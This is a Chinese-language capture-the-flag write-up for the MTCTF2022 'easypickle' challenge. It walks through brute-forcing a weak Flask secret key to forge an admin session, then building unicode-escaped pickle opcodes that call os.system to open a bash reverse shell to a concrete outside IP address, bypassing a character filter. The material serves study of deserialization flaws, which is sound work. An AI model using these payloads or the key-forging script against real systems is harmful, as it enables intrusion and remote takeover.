【MTCTF2022】easypickle

本文最后更新于:2023年9月5日 晚上

[TOC]

[MTCTF2022]easypickle

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

分析一下我们需要伪造session,让user=admin

先看这里:

1
app.config['SECRET_KEY'] = os.urandom(2).hex()

os.urandom(n)函数会生成n 个随机字节,用于安全目的。在这里,我们生成了 2 个字节的随机字节串。

由于这里只有两个字节,所以是可以进行爆破的,本来可以使用flask-unsign脚本,但是这里报错了

我们可以使用网上通用的脚本:

flask-secret-key爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoibm5tbW4ifQ.ZPbyDQ.oMy8j6S13C-Z0hgPnuqugMxOrc4', key)
# print(res)
if 'user' in str(res):
print(key)
exit()

运行这个脚本,爆破出密钥为:fae0,然后就可以通过密钥伪造session了

但是这里存在pickle反序列化漏洞

1
2
3
4
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))

绕过R i o b过滤

其实仔细观察代码,发现其实最终使用的反序列化数据并不是经过replace之后的a,而是从session中获得的

所以实际上我们经过replace之后的os还是小写的

我们可以使用pickle构造os.system去反弹shell

1
2
3
4
5
6
7
8
import base64

opcode = b"""(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0069\u0070\u002f\u0039\u0039\u0039\u0036\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""
print(base64.b64encode(opcode))

本来我们opcode实际应该写为这样的:

1
2
3
4
5
opcode = b"""(cos
system
S'bash -i >& /dev/tcp/ip/port 0>&1'
os.
"""

但是由于i被过滤了,所以我们需要进行绕过,我们可以使用V指令,V指令可以识别Unicode编码

这样就可以将反弹shell进行unicode编码绕过

指令 描述 具体写法 栈上的变化
( 向栈中压入一个MARK标记 ( MARK标记入栈
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈

我们接下来解释一下opcode的含义

1
2
3
4
5
opcode = b"""(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0069\u0070\u002f\u0039\u0039\u0039\u0036\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""

首先是(向栈中压入一个MARK标记,然后c指令获取一个全局对象或import一个模块,则导入了os.system(),并压入栈中

接着V指令是实例化一个UNICODE字符串对象,并将其压入栈中,

然后执行o指令,寻找栈中的上一个MARK(就是我们第一个(),以之间的第一个数据(os.system())为callable,第二个到第n个数据为参数(这里就是反弹shell命令),执行该函数,就可以反弹shell

最后执行.结束反序列化

这里的s指令其实没有起到作用,只是为了凑一下(第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新)

写成这样才是正确的:

1
2
3
4
5
6
7
8
opcode = b"""(S'key1'
S'val1'
dS'vul'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0039\u002e\u0032\u0033\u0035\u002e\u0031\u0030\u0038\u002e\u0031\u0035\u002f\u0039\u0039\u0039\u0036\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""

【MTCTF2022】easypickle
https://leekosss.github.io/2023/09/05/[MTCTF2022]easypickle/
作者
leekos
发布于
2023年9月5日
更新于
2023年9月5日
许可协议